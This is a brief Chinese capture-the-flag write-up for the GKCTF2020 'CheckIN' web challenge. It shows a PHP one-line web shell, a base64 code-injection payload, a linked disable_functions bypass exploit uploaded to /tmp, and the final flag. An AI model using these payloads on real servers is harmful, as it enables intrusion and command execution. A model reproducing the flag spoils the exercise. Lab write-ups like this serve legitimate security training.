[GKCTF2020] web题-CheckIN

复现环境：buuoj.cn

代码提示有eval函数可以执行base64加密代码

成功回显了phpinfo信息
编辑一句话上传
eval($_POST[1]);

根目录上有flag和readflag，但都没法访问，应该是权限不够
bypass disable_functions 该漏洞可以执行命令执行
exp链接:https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php

上传到有权限的目录/tmp

?Ginkgo=aW5jbHVkZSgiL3RtcC8xLnBocCIpOw==

flag{0a42b3fe-b4e0-4a5f-9e0f-5dfdae8ce2e2}